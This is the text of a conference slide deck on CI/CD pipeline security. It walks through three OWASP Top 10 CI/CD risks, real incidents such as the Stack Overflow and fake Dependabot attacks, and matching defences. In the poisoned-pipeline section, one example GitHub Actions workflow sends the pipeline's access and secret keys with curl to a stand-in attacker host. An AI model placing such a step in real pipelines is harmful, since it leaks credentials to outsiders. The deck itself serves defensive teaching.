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“Those who don’t 
know history are 
doomed to repeat it”

Edmund Burke



About

• Head of Tech at Melbourne based consultancy Kodez

• We focus on Development, Dev(Sec)Ops and Identity

• Kodez Introduction to AppSec Course (kodez.com.au/app-sec)



Agenda

• Why worry about build and deployment Pipelines?

• OWASP Top 10 CI

• Three issues from OWASP Top 10 CI:
• Insufficient Flow Control 

• Inadequate Identity and Access Management

• Poisoned Pipeline Execution



Obligatory Warning

• We'll discuss various offensive security techniques

• Don’t attempt on targets you are not authorized to do - it's almost 
certainly illegal!

• Lots of legal free and low-cost options to practice skills such as 
VulnHub, PortSwigger Academy, hackthebox and tryhackme





Let's talk about build and 
deploy pipelines..



Run with high privileges



Have access to secrets



Use sensitive assets



Accessible to most of development team



Generally, not in scope for penetration tests



Limited logging

(who’s reviewing these anyway?)



• Run with high privileges

• Have access to secrets

• Use sensitive assets

• Accessible to most of 
development team

• Generally, not in scope for 
penetration testing

• Limited logging



This is a concerning set
of characteristics..





Pipelines are an interesting target for attackers



Is the risk only from 
internal employees?



Risks

• Accounts can and are compromised

• Users can be manipulated

• Lateral movement by attackers

• Build systems accidently exposed

• Malicious dependencies introduced to 
customers



OWASP Top 
10 CI







Insufficient Flow Control



Insufficient Flow Control

Attacker who has obtained access to build/deploy systems can push 
code or artefacts without any approval or review



Segregation of Duties

No single person should be able to make and deploy a change







https://www.bleepingcomputer.com/news/security/phps-git-server-hacked-to-add-backdoors-to-php-source-code/

PHP "Fix typo“ (2021)



Defenses

• Require different user(s) to approve changes

• Require different user to trigger deploy

• Use code scanning/SAST tools but don’t rely on them

• Be wary of auto merge rules

• Limit approvals to business hours?



Inadequate Identity and Access Management



Inadequate Identity Management

Attacker uses legitimate identity to access pipeline



How Does This Occur?

• Account compromised

• Self-registration enabled or external collaborators

• Social engineering

• User accounts not deprovisioned



Damiler AG/Mercedes (2020)

• Researcher used Google query (Google dork) used to discover gitlab
server

• Any user could register for access

• Contained 580 Git repositories!



New York State (2021)

• Pretty much the same as Damiler AG



How does attacker find CI/CD system?



https://mygitlabserver











Finds Dev Instance of Stack 
Overflow

Finds bug to elevate user 
permissions and get access to 

Admin interface

Admin Interface allows access 
to Email debugging screen

Attacker requests users 
password is reset and uses 

Email debugging screen to get 
reset link to Team City

Attacker logs into Team City
Team City configured with 
high level of permissions

Stack Overflow (2019)

https://stackoverflow.blog/2021/01/25/a-deeper-dive-into-our-may-2019-security-incident/



Using Stack Overflow to Hack Stack Overflow



Defenses

• Don’t enable self-registration

• Centralize identity management

• De-provision user accounts

• Continuously review accounts and permissions

• Avoid granting large default permission sets

• No shared accounts



Poisoned Pipelines



Poisoned Pipeline Execution (PPE)

Use pipeline to execute malicious commands



• Run with high privileges

• Have access to secrets

• Use sensitive assets

• Accessible to most of 
development team

• Generally, not in scope for 
penetration testing

• Limited logging



What could attacker do in pipeline?

• Retrieve secrets and sensitive configuration and exfil

• Gain access to restricted assets, secrets and data

• Use privileges to access and modify cloud resources

• Add malicious code to solution (supply chain attack)

• Run a reverse shell

• Use build server computing resources

• Denial of Service attack via creation of numerous builds



Example

name: PIPELINE

on: push

jobs:

build:

runs-on: ubuntu-latest

steps:

- env:

ACCESS_KEY: $

SECRET_KEY: $

run: |

curl -d creds="$(echo $ACCESS_KEY:$SECRET_KEY | base64 | base64)" hack.com

https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution



PPE Options

• Build configuration files

• Variables

• Pre and Post build commands

• Tests

• Referenced and external scripts

• Malicious Docker files/images

• IaC resource files



Types of PPE

• Direct – Modify CI config file directly

• Indirect – Modify file used by CI e.g. make file, script or tests

• Public – Open-source scenarios where public can submit request



Pull Request Builds

• Common to setup automated build for Pull Requests (PR Build)

• PR Build could allow unapproved changes to be run



Compile Code

Run Tests

Restore Dependencies

PR Build Approved Build

Compile Code

Run Tests

Restore Dependencies

Deploy Containers

Deploy to Environment

Dangerous steps only on 
approved builds



Github and Fake Dependabot (2023)

• Attackers created commit "fix" that pretended to come from 
dependabot

• Github action created to steal secrets and variables to hacker 
controlled website

• Project JS files patched with additional script designed to steal login 
details

https://checkmarx.com/blog/surprise-when-dependabot-contributes-malicious-code/



Malicious Github PR Request (2021)

• User thibaultduponchelle found malicious PR requests to one of their 
repository

• Malicious requests were running crypto mining binaries

• Github noticed unusual activity and blocked user

https://dev.to/thibaultduponchelle/the-github-action-mining-attack-through-pull-request-2lmc



PPE Defenses

• Limit access to repositories and CI configuration files

• Limit secrets and variables to minimum needed

• Isolated environments

• Ensure CI file changes are approved by another user before run

• Pipelines should run with minimum permissions needed

• Avoid trigger of sensitive pipelines from public PR’s

• Run unreviewed code on isolated build nodes without access to 
sensitive resources



The Future

• Is the main risk of these types of attacks from insiders – possibly but 
there are several other vectors

• Will we see more attacks on CI/CD systems in the future?



Summary

• Pipelines have characteristics that make them excellent targets

• Securing pipelines is difficult and requires effort

• Changes should require multiple approvers

• Separate potential dangerous build steps out

• Centralize identity management and deprovision users



“What we learn 
from history is that 
people don’t learn 
from history”

Warren Buffett



Any Questions?

@alexjmackey
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